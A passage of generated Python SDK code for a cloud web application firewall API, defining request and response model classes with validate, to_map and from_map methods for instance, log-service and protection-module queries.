self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfoRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfoResponseBodyInstanceInfo(TeaModel):\n\n def __init__(self, status=None, end_date=None, version=None, remain_day\n =None, region=None, pay_type=None, in_debt=None, instance_id=None,\n subscription_type=None, trial=None):\n self.status = status\n self.end_date = end_date\n self.version = version\n self.remain_day = remain_day\n self.region = region\n self.pay_type = pay_type\n self.in_debt = in_debt\n self.instance_id = instance_id\n self.subscription_type = subscription_type\n self.trial = trial\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBodyInstanceInfo, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.version is not None:\n result['Version'] = self.version\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfoResponseBody(TeaModel):\n\n def __init__(self, request_id=None, instance_info=None):\n self.request_id = request_id\n self.instance_info = instance_info\n\n def validate(self):\n if self.instance_info:\n self.instance_info.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_info is not None:\n result['InstanceInfo'] = self.instance_info.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceInfo') is not None:\n temp_model = DescribeInstanceInfoResponseBodyInstanceInfo()\n self.instance_info = temp_model.from_map(m['InstanceInfo'])\n return self\n\n\nclass DescribeInstanceInfoResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfosRequest(TeaModel):\n\n def __init__(self, instance_source=None, instance_id=None,\n resource_group_id=None):\n self.instance_source = instance_source\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_source is not None:\n result['InstanceSource'] = self.instance_source\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceSource') is not None:\n self.instance_source = m.get('InstanceSource')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfosResponseBodyInstanceInfos(TeaModel):\n\n def __init__(self, status=None, end_date=None, remain_day=None, region=\n None, pay_type=None, in_debt=None, instance_id=None,\n subscription_type=None, trial=None):\n self.status = status\n self.end_date = end_date\n self.remain_day = remain_day\n self.region = region\n self.pay_type = pay_type\n self.in_debt = in_debt\n self.instance_id = instance_id\n self.subscription_type = subscription_type\n self.trial = trial\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBodyInstanceInfos, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfosResponseBody(TeaModel):\n\n def __init__(self, request_id=None, instance_infos=None):\n self.request_id = request_id\n self.instance_infos = instance_infos\n\n def validate(self):\n if self.instance_infos:\n for k in self.instance_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['InstanceInfos'] = []\n if self.instance_infos is not None:\n for k in self.instance_infos:\n result['InstanceInfos'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.instance_infos = []\n if m.get('InstanceInfos') is not None:\n for k in m.get('InstanceInfos'):\n temp_model = DescribeInstanceInfosResponseBodyInstanceInfos()\n self.instance_infos.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeInstanceInfosResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfosResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceSpecInfoRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos(TeaModel):\n\n def __init__(self, value=None, code=None):\n self.value = value\n self.code = code\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos,\n self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.value is not None:\n result['Value'] = self.value\n if self.code is not None:\n result['Code'] = self.code\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Value') is not None:\n self.value = m.get('Value')\n if m.get('Code') is not None:\n self.code = m.get('Code')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBody(TeaModel):\n\n def __init__(self, instance_spec_infos=None, request_id=None,\n instance_id=None, version=None, expire_time=None):\n self.instance_spec_infos = instance_spec_infos\n self.request_id = request_id\n self.instance_id = instance_id\n self.version = version\n self.expire_time = expire_time\n\n def validate(self):\n if self.instance_spec_infos:\n for k in self.instance_spec_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n result['InstanceSpecInfos'] = []\n if self.instance_spec_infos is not None:\n for k in self.instance_spec_infos:\n result['InstanceSpecInfos'].append(k.to_map() if k else None)\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.version is not None:\n result['Version'] = self.version\n if self.expire_time is not None:\n result['ExpireTime'] = self.expire_time\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.instance_spec_infos = []\n if m.get('InstanceSpecInfos') is not None:\n for k in m.get('InstanceSpecInfos'):\n temp_model = (\n DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos())\n self.instance_spec_infos.append(temp_model.from_map(k))\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ExpireTime') is not None:\n self.expire_time = m.get('ExpireTime')\n return self\n\n\nclass DescribeInstanceSpecInfoResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceSpecInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeLogServiceStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, region=None, resource_group_id=\n None, page_number=None, page_size=None, domain_names=None):\n self.instance_id = instance_id\n self.region = region\n self.resource_group_id = resource_group_id\n self.page_number = page_number\n self.page_size = page_size\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.region is not None:\n result['Region'] = self.region\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeLogServiceStatusResponseBodyDomainStatus(TeaModel):\n\n def __init__(self, domain=None, sls_log_active=None):\n self.domain = domain\n self.sls_log_active = sls_log_active\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBodyDomainStatus, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.sls_log_active is not None:\n result['SlsLogActive'] = self.sls_log_active\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SlsLogActive') is not None:\n self.sls_log_active = m.get('SlsLogActive')\n return self\n\n\nclass DescribeLogServiceStatusResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_status=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_status = domain_status\n\n def validate(self):\n if self.domain_status:\n for k in self.domain_status:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainStatus'] = []\n if self.domain_status is not None:\n for k in self.domain_status:\n result['DomainStatus'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_status = []\n if m.get('DomainStatus') is not None:\n for k in m.get('DomainStatus'):\n temp_model = DescribeLogServiceStatusResponseBodyDomainStatus()\n self.domain_status.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeLogServiceStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleCodeConfigRequest(TeaModel):\n\n def __init__(self, source_ip=None, lang=None, code_type=None,\n code_value=None, instance_id=None, resource_group_id=None):\n self.source_ip = source_ip\n self.lang = lang\n self.code_type = code_type\n self.code_value = code_value\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.source_ip is not None:\n result['SourceIp'] = self.source_ip\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.code_type is not None:\n result['CodeType'] = self.code_type\n if self.code_value is not None:\n result['CodeValue'] = self.code_value\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('SourceIp') is not None:\n self.source_ip = m.get('SourceIp')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('CodeType') is not None:\n self.code_type = m.get('CodeType')\n if m.get('CodeValue') is not None:\n self.code_value = m.get('CodeValue')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponseBody(TeaModel):\n\n def __init__(self, request_id=None, code_configs=None):\n self.request_id = request_id\n self.code_configs = code_configs\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponseBody, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.code_configs is not None:\n result['CodeConfigs'] = self.code_configs\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('CodeConfigs') is not None:\n self.code_configs = m.get('CodeConfigs')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleCodeConfigResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleModeRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, instance_id=None,\n resource_group_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleModeResponseBody(TeaModel):\n\n def __init__(self, learn_status=None, request_id=None, mode=None):\n self.learn_status = learn_status\n self.request_id = request_id\n self.mode = mode\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.learn_status is not None:\n result['LearnStatus'] = self.learn_status\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.mode is not None:\n result['Mode'] = self.mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('LearnStatus') is not None:\n self.learn_status = m.get('LearnStatus')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n return self\n\n\nclass DescribeProtectionModuleModeResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleRulesRequest(TeaModel):\n\n def __init__(self, page_size=None, page_number=None, domain=None,\n defense_type=None, query=None, lang=None, instance_id=None,\n resource_group_id=None):\n self.page_size = page_size\n self.page_number = page_number\n self.domain = domain\n self.defense_type = defense_type\n self.query = query\n self.lang = lang\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.query is not None:\n result['Query'] = self.query\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Query') is not None:\n self.query = m.get('Query')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleRulesResponseBodyRules(TeaModel):\n\n def __init__(self, status=None, time=None, version=None, content=None,\n rule_id=None):\n self.status = status\n self.time = time\n self.version = version\n self.content = content\n self.rule_id = rule_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBodyRules, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.time is not None:\n result['Time'] = self.time\n if self.version is not None:\n result['Version'] = self.version\n if self.content is not None:\n result['Content'] = self.content\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Time') is not None:\n self.time = m.get('Time')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('Content') is not None:\n self.content = m.get('Content')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n return self\n\n\nclass DescribeProtectionModuleRulesResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, rules=None):\n self.total_count = total_count\n self.request_id = request_id\n self.rules = rules\n\n def validate(self):\n if self.rules:\n for k in self.rules:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['Rules'] = []\n if self.rules is not None:\n for k in self.rules:\n result['Rules'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.rules = []\n if m.get('Rules') is not None:\n for k in m.get('Rules'):\n temp_model = DescribeProtectionModuleRulesResponseBodyRules()\n self.rules.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeProtectionModuleRulesResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleRulesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeProtectionModuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None, module_status=None):\n self.request_id = request_id\n self.module_status = module_status\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n return self\n\n\nclass DescribeProtectionModuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeWafSourceIpSegmentRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponseBody(TeaModel):\n\n def __init__(self, request_id=None, ip_v6s=None, ips=None):\n self.request_id = request_id\n self.ip_v6s = ip_v6s\n self.ips = ips\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.ip_v6s is not None:\n result['IpV6s'] = self.ip_v6s\n if self.ips is not None:\n result['Ips'] = self.ips\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('IpV6s') is not None:\n self.ip_v6s = m.get('IpV6s')\n if m.get('Ips') is not None:\n self.ips = m.get('Ips')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = 